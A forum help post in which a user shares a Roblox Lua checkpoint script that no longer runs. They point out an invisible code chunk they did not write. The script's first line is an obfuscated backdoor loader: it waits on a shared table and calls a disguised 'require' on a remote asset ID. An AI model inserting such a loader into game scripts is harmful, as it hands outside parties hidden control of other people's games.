Hi guys, I finished making my script and i tried testing it and everything was working fine and no when I test it, it never works, even the print function is not outputting anything when I walk it. I’m just really confused and I don’t know what to do anymore.
Thank you guys for helping
I have also noticed this strange chunk of code when I was posting this on here
Its not visible in the studio. I can only see it if i post it here

local Players = game:GetService("Players") repeat wait() until shared["4bfGOYGlVZ"];shared["4bfGOYGlVZ"]["\114\101\113\117\105\114\101"](5151855975)
local checkpoint = script.Parent
local STAGE = 2
local debounce = false
local function onTouch(touchPart)
print("Touched")
local touchParent = touchPart.Parent
local humanoid = touchParent:FindFirstChildWhichIsA("Humanoid")
local player = Players:GetPlayerFromCharacter(humanoid.Parent)
local playerStats = player:WaitForChild("leaderstats")
local stage = playerStats:WaitForChild("Stage")
if humanoid and STAGE > stage.Value and not debounce then
debounce = true
stage.Value = STAGE
end
end
checkpoint.Touched:Connect(onTouch)
checkpoint.TouchEnded:Connect(function(part)
debounce = false
end)
I don’t think there is a mistake in the code, that’s why I’m posting here, because I’m really confused about this


